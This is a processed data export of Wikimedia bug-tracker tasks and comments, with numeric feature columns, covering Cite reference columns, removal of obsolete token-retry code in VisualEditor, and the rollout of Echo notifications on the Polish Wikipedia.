Sorry, yes, I meant ""default to what the group states; if no group, default to decimal; otherwise, let the user over-ride"".",,,1373663834,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.5,1.5,3.0,0.5,0.0,0.0,1.0,2.5,0.0,0.0,0.0,0.0,1.5,0.5,2.5,6.5,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.0,1.5,14.5,1.0,0.5,4.0,0.0,0.0,0.0,0.5,3.5,1.0,0.5,0.0,1.5,6.5,11.0,0.0,2.0,0.0,1.5,0.0,1.0,0.5,0.0,1.0,0.0,0.0,0.0,3.2924528301886795,0.5943396226415094,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

We should be reducing, not increasing, the use of hard-coded widths. HTML is not a graphical layout language, and should not be bastardised to serve as such.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Sorry, yes, I meant ""default to what the group states; if no group, default to decimal; otherwise, let the user over-ride""."
237712,Support editing <references /> tags to set multi-column display on/off,"(In reply to comment #0)
> * columns (default to 1; a number between 1 and … another number? - not
> allowing width, obviously)

""Obviously""? In my opinion setting maximalcolumn width and letting the browser figure out the layout makes more sense than hardcoded number (although sadly it's not how it's done right now).


> * list-style (default to decimal; just an escaped pass-through of the CSS
> list-style of the OL)

That would be a bad way to do this; the list style should actually depends on the group name used (since Cite has a way to provide custom markers instead of [1] to reference citations, list-style is used to match them - see [[Special:PrefixIndex/MediaWiki:Cite_link_label_group]] for ones defined on en.wp).",,,1373663426,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-p6rccw5cwglxrbbkmq2b,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,1.0,0.5,1.0,0.5,0.0,0.5,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,4.5,10.5,0.0,3.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,4.0,1.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,15.0,1.5,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,4.0,1.5,8.0,2.0,0.5,4.5,0.0,0.0,0.0,0.5,4.5,0.0,1.5,0.0,2.5,10.5,5.5,0.5,1.0,0.0,2.5,0.0,1.0,1.5,1.0,1.0,0.5,0.0,4.0,3.790322580645161,0.782258064516129,"(In reply to comment #0)
QUOTE
QUOTE

""Obviously""? In my opinion setting maximalcolumn width and letting the browser figure out the layout makes more sense than hardcoded number (although sadly it's not how it's done right now).


QUOTE
QUOTE

That would be a bad way to do this; the list style should actually depends on the group name used (since Cite has a way to provide custom markers instead of [1] to reference citations, list-style is used to match them - see [[Special:PrefixIndex/MediaWiki:Cite_link_label_group]] for ones defined on en.wp)."
53253,VisualEditor: Remove obsolete retry token logic in mw.Target,"

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1373654940,1376579824.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-glljlygxsse6ts5nyo5g,task_description,resolved,True,c1,3,True,False,True,1,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.5,"

--------------------------
**Version**: unspecified
**Severity**: normal"
237265,VisualEditor: Remove obsolete retry token logic in mw.Target,"Change 76860 merged by jenkins-bot:
mw.Target: Removed unreachable badtoken recovery code

https://gerrit.wikimedia.org/r/76860",,,1376556010,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-glljlygxsse6ts5nyo5g,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6,0.95,"Change 76860 merged by jenkins-bot:
mw.Target: Removed unreachable badtoken recovery code

GERRIT_URL"
237256,VisualEditor: Remove obsolete retry token logic in mw.Target,"Change 76860 had a related patch set uploaded by Krinkle:
Removed unreachable badtoken recovery code

https://gerrit.wikimedia.org/r/76860",,,1375231529,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-glljlygxsse6ts5nyo5g,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.2105263157894735,1.0,"Change 76860 had a related patch set uploaded by Krinkle:
Removed unreachable badtoken recovery code

GERRIT_URL"
237246,VisualEditor: Remove obsolete retry token logic in mw.Target,"It also ignored the fact that the new token may be logged out or for a different user, though this was previous OK-ish because it was only to load the content which is a read action and not a write action (hence why we fixed that API recently to no longer require a token)",,,1373655053,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-glljlygxsse6ts5nyo5g,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,2.0,2.0,10.0,5.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,14.0,14.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,3.0,0.0,0.0,2.0,0.0,0.0,14.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,12.0,7.0,5.0,8.0,3.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.711864406779661,0.8305084745762712,"It also ignored the fact that the new token may be logged out or for a different user, though this was previous OK-ish because it was only to load the content which is a read action and not a write action (hence why we fixed that API recently to no longer require a token)"
237239,VisualEditor: Remove obsolete retry token logic in mw.Target,"onLoad no longer requires or even considers a token, so this is now obsolete.",,,1373655001,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-glljlygxsse6ts5nyo5g,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,4.0,1.0,"onLoad no longer requires or even considers a token, so this is now obsolete."
53251,Install Notifications (Echo) on the Polish Wikipedia,"Please install Notifications (Echo) on the Polish Wikipedia. I think the community supports this in general.

Is it even possible? It seems some similar requests were rejected (bug 50064?).

I'll start a straw poll to confirm this after it's made clear that the request will be fulfilled (I don't want to bother them otherwise).

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52510",Medium,50.0,1373650320,1377773546.0,PHID-USER-wkpnidxoctuhawexig5p,False,,False,PHID-TASK-qxyoycuq2mw55c2oy7mm,task_description,resolved,True,c1,3,True,False,True,1,,0.5,0.0,0.0,1.5,1.0,2.5,0.0,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.0,2.0,0.0,3.5,4.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,4.0,1.5,1.5,0.5,0.0,0.5,0.0,0.0,1.5,0.0,1.0,0.0,4.5,0.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.5,2.0,10.5,1.0,0.0,4.0,0.0,0.0,0.0,0.0,5.5,0.5,1.0,0.0,4.5,4.0,3.0,1.0,0.0,0.0,4.5,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,3.7001960784313725,0.7419607843137255,"Please install Notifications (Echo) on the Polish Wikipedia. I think the community supports this in general.

Is it even possible? It seems some similar requests were rejected (bug 50064?).

I'll start a straw poll to confirm this after it's made clear that the request will be fulfilled (I don't want to bother them otherwise).

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement
**See Also**:
URL"
237169,Install Notifications (Echo) on the Polish Wikipedia,"I'm pretty sure this can be closed now :) Thanks, Fabrice!",,,1377773546,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-qxyoycuq2mw55c2oy7mm,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,21.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,1.0,"I'm pretty sure this can be closed now :) Thanks, Fabrice!"
237162,Install Notifications (Echo) on the Polish Wikipedia,"Sorry, I meant to say 'translate to Polish' (not 'Swedish'). My apologies, I am juggling a number of parallel releases and am using more copy-and-paste than I should. ;o)",,,1376107997,,PHID-USER-dbudsaorcqut7sg3vvbi,False,,,PHID-TASK-qxyoycuq2mw55c2oy7mm,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,2.0,9.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,16.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,9.0,9.0,4.0,0.0,9.0,0.0,9.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,2.0,3.1555555555555554,0.7333333333333333,"Sorry, I meant to say 'translate to Polish' (not 'Swedish'). My apologies, I am juggling a number of parallel releases and am using more copy-and-paste than I should. ;o)"
237158,Install Notifications (Echo) on the Polish Wikipedia,"Hello Bartosz,

Thanks for bringing up the question about FlaggedRevs. At this point, we do not plan support these events, and will not be able to implement this request in the near-term, sadly.

In the meantime, I would like to make sure that all is ready on your end for our August 20 release.

If you haven't already, we recommend you do the following for this proposed release:

* Confirm on Meta that the Notifications interface has been properly translated to Swedish -- update the translations if needed.

* Translate and create a Polish version of this help page, which links from the tool's interface (question marks on flyout and archive):
http://www.mediawiki.org/wiki/Help:Notifications

* Go over the checklist in this Notifications release plan and determine if you need to make any special adjustments (e.g. default user settings):
http://www.mediawiki.org/wiki/Echo/Release_Plan_2013

Thanks so much for your interest in this tool. I look forward to working with you soon.",,,1376107269,,PHID-USER-dbudsaorcqut7sg3vvbi,False,,,PHID-TASK-qxyoycuq2mw55c2oy7mm,task_subcomment,,True,c1,3,False,,,5,,1.5,0.0,0.0,0.5,1.5,3.5,1.0,0.0,0.0,1.5,2.5,0.5,0.0,0.0,0.0,2.5,0.0,6.0,14.5,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,1.0,0.0,4.5,0.5,0.0,0.5,3.0,0.0,0.5,0.0,2.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,0.0,0.0,14.5,0.5,3.5,0.0,0.0,0.0,0.0,0.5,0.5,0.5,0.0,0.5,1.5,0.0,0.5,0.0,0.0,0.0,4.5,1.5,11.0,2.5,2.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.5,0.0,5.5,14.5,4.0,0.0,0.0,0.0,5.5,0.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,4.054932211313698,0.7460846189808321,"Hello Bartosz,

Thanks for bringing up the question about FlaggedRevs. At this point, we do not plan support these events, and will not be able to implement this request in the near-term, sadly.

In the meantime, I would like to make sure that all is ready on your end for our August 20 release.

If you haven't already, we recommend you do the following for this proposed release:

* Confirm on Meta that the Notifications interface has been properly translated to Swedish -- update the translations if needed.

* Translate and create a Polish version of this help page, which links from the tool's interface (question marks on flyout and archive):
URL

* Go over the checklist in this Notifications release plan and determine if you need to make any special adjustments (e.g. default user settings):
URL

Thanks so much for your interest in this tool. I look forward to working with you soon."
237149,Install Notifications (Echo) on the Polish Wikipedia,"By the way, I just noticed that Echo doesn't provide notifications for events related to the FlaggedRevs extension pl.wp has installed, in particular the act of ""sighting"" a page (similar to how page patrolling in core works).

I filed bug 52510 about this. It's not a deployment blocker, but it would be *really* nice to have it.",,,1375576048,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-qxyoycuq2mw55c2oy7mm,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,3.0,4.0,1.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,3.0,1.0,7.0,15.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,1.0,4.0,1.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,14.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,8.0,3.0,1.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,7.0,15.0,4.0,0.0,3.0,0.0,7.0,0.0,1.0,3.0,0.0,3.0,0.0,0.0,0.0,3.8194444444444446,0.7916666666666666,"By the way, I just noticed that Echo doesn't provide notifications for events related to the FlaggedRevs extension pl.wp has installed, in particular the act of ""sighting"" a page (similar to how page patrolling in core works).

I filed bug 52510 about this. It's not a deployment blocker, but it would be *really* nice to have it."
237142,Install Notifications (Echo) on the Polish Wikipedia,"Wonderful, thank you!

Let's reconnect after Wikimania, around Aug. 15, to see if there are any final questions before the scheduled Aug. 20 deployment, which should take place at about 21:00 CET.

Cheers!",,,1375375348,,PHID-USER-dbudsaorcqut7sg3vvbi,False,,,PHID-TASK-qxyoycuq2mw55c2oy7mm,task_subcomment,,True,c1,3,False,,,4,,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,14.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,16.0,2.0,0.0,7.0,0.0,0.0,5.0,0.0,9.0,0.0,7.0,0.0,5.0,14.0,9.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.069767441860465,0.8604651162790697,"Wonderful, thank you!

Let's reconnect after Wikimania, around Aug. 15, to see if there are any final questions before the scheduled Aug. 20 deployment, which should take place at about 21:00 CET.

Cheers!"
237134,Install Notifications (Echo) on the Polish Wikipedia,"I have copied relevant pages from the English Wikipedia to:
* https://pl.wikipedia.org/wiki/Wikipedia:Powiadomienia
* https://pl.wikipedia.org/wiki/Wikipedia:Powiadomienia/FAQ

They should get translated and adjusted before the deployment.",,,1375362558,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-qxyoycuq2mw55c2oy7mm,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,21.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,11.0,14.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,0.8571428571428571,"I have copied relevant pages from the English Wikipedia to:
* URL
* URL

They should get translated and adjusted before the deployment."
237126,Install Notifications (Echo) on the Polish Wikipedia,And thanks for responding :) I'll forward this information to the community.,,,1374710826,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-qxyoycuq2mw55c2oy7mm,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,7.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.642857142857143,1.0,And thanks for responding :) I'll forward this information to the community.
237117,Install Notifications (Echo) on the Polish Wikipedia,"(In reply to comment #3)
> It would be great if someone could start translating this FAQ page to Polish,
> and give us the URL, so we can link the help icons to that page when the tool
> is released in late August:
> http://en.wikipedia.org/wiki/Wikipedia:Notifications/FAQ

Then this page should be copied somewhere that is not English Wikipedia and that has the Translate extension installed.

VisualEditor's FAQ and help pages were being translated on mediawiki.org and copied to the wikis later, but Meta would do just as fine here.",,,1374710558,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-qxyoycuq2mw55c2oy7mm,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,18.0,0.0,6.0,6.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,0.0,6.0,14.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.092307692307692,0.7846153846153846,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE

Then this page should be copied somewhere that is not English Wikipedia and that has the Translate extension installed.

VisualEditor's FAQ and help pages were being translated on mediawiki.org and copied to the wikis later, but Meta would do just as fine here."
237109,Install Notifications (Echo) on the Polish Wikipedia,"Hi Bartosz,

Glad to hear that the Polish community has reached consensus for deployment of Notifications this summer. We are very happy to have you as one of our first pilot sites for this tool!

Our current target date for this deployment is now set to Tuesday, August 20th at about 12pm PT (~21:00 Central European Time, if I am correct).

It would be great if someone could start translating this FAQ page to Polish, and give us the URL, so we can link the help icons to that page when the tool is released in late August:
http://en.wikipedia.org/wiki/Wikipedia:Notifications/FAQ

We plan to deploy Notifications to MetaWiki tomorrow, which will give us a first preview of how the tool works in languages other than English. 

Please let us know if you gave any questions, comments or suggestions.

Look forward to working with you on this release!",,,1374710265,,PHID-USER-dbudsaorcqut7sg3vvbi,False,,,PHID-TASK-qxyoycuq2mw55c2oy7mm,task_subcomment,,True,c1,3,False,,,3,,0.5,0.5,0.5,1.0,0.0,5.5,1.5,0.0,0.0,1.5,1.5,0.0,0.0,0.0,0.0,5.0,0.5,3.5,14.0,0.5,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,1.0,0.0,4.0,1.0,0.5,0.5,1.5,0.0,0.5,0.0,0.0,0.0,0.0,1.5,3.5,0.0,1.0,0.0,0.0,0.5,11.5,0.0,3.0,0.5,0.0,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,3.5,2.5,14.0,4.0,1.0,8.0,0.0,0.0,1.0,0.0,6.0,0.5,1.0,0.0,7.0,14.0,8.5,0.0,0.0,0.0,7.0,0.0,2.0,0.5,2.0,1.0,0.0,0.0,0.0,3.9107142857142856,0.7927170868347339,"Hi Bartosz,

Glad to hear that the Polish community has reached consensus for deployment of Notifications this summer. We are very happy to have you as one of our first pilot sites for this tool!

Our current target date for this deployment is now set to Tuesday, August 20th at about 12pm PT (~21:00 Central European Time, if I am correct).

It would be great if someone could start translating this FAQ page to Polish, and give us the URL, so we can link the help icons to that page when the tool is released in late August:
URL

We plan to deploy Notifications to MetaWiki tomorrow, which will give us a first preview of how the tool works in languages other than English. 

Please let us know if you gave any questions, comments or suggestions.

Look forward to working with you on this release!"
237101,Install Notifications (Echo) on the Polish Wikipedia,"Straw poll: https://pl.wikipedia.org/wiki/Wikipedia:KT#Nowy_system_powiadomie.C5.84

Overwhelming support, 21/2/2 right now :)

Can we get a more precise estimate on ""later this summer""?",,,1374361726,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-qxyoycuq2mw55c2oy7mm,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,7.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,3.740740740740741,0.9259259259259259,"Straw poll: URL

Overwhelming support, 21/2/2 right now :)

Can we get a more precise estimate on ""later this summer""?"
237095,Install Notifications (Echo) on the Polish Wikipedia,"Hi Bartosz,

Yes, we are now looking for a few wikis who want Notifications right away, so we can deploy it on their sites later this summer.

Let us know what the Polish community thinks. If the straw poll is favorable, we can include you in our short list of summer deployments (which now includes Meta and the French Wikipedia).

Thanks for taking the time to suggest this!",,,1373918592,,PHID-USER-dbudsaorcqut7sg3vvbi,False,,,PHID-TASK-qxyoycuq2mw55c2oy7mm,task_subcomment,,True,c1,3,False,,,2,,1.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,6.0,2.0,1.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,1.0,4.0,2.0,0.0,1.0,0.0,0.0,0.0,11.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,1.0,6.0,2.0,14.0,2.0,1.0,10.0,0.0,0.0,1.0,0.0,6.0,1.0,0.0,0.0,10.0,10.0,7.0,0.0,0.0,0.0,10.0,0.0,4.0,1.0,1.0,2.0,0.0,0.0,0.0,3.8518518518518516,0.7901234567901234,"Hi Bartosz,

Yes, we are now looking for a few wikis who want Notifications right away, so we can deploy it on their sites later this summer.

Let us know what the Polish community thinks. If the straw poll is favorable, we can include you in our short list of summer deployments (which now includes Meta and the French Wikipedia).

Thanks for taking the time to suggest this!"
53237,VisualEditor: Add the capacity for help pages in dialogs,"So, for example, the template dialogue. Once you're in it, there's not really any guidance on what you should do: as intuitive as we can ultimately make it, there will always be some confusion. It would be good if the VisualEditor had space for some kind of help icon that would link, in a new tab/window, to a pertinent help page on the specific wiki: we could set up MediaWiki namespace pages that provide the wiki-specific link.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51798",Medium,50.0,1373636880,1403824508.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-znebtf73mavsnt4zkjtb,task_description,declined,True,c1,3,False,False,False,1,,1.5,0.0,0.0,0.0,0.5,6.0,1.0,0.0,0.0,0.5,2.5,0.5,0.0,0.0,1.0,1.5,0.0,4.0,7.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,1.5,1.5,0.0,2.5,1.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,3.0,0.0,0.5,0.0,1.5,0.0,12.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,1.5,0.0,4.5,1.0,7.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,7.5,1.5,0.0,0.0,0.0,4.0,0.0,2.0,1.5,0.0,0.0,0.0,0.0,0.0,3.680327868852459,0.7131147540983607,"So, for example, the template dialogue. Once you're in it, there's not really any guidance on what you should do: as intuitive as we can ultimately make it, there will always be some confusion. It would be good if the VisualEditor had space for some kind of help icon that would link, in a new tab/window, to a pertinent help page on the specific wiki: we could set up MediaWiki namespace pages that provide the wiki-specific link.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
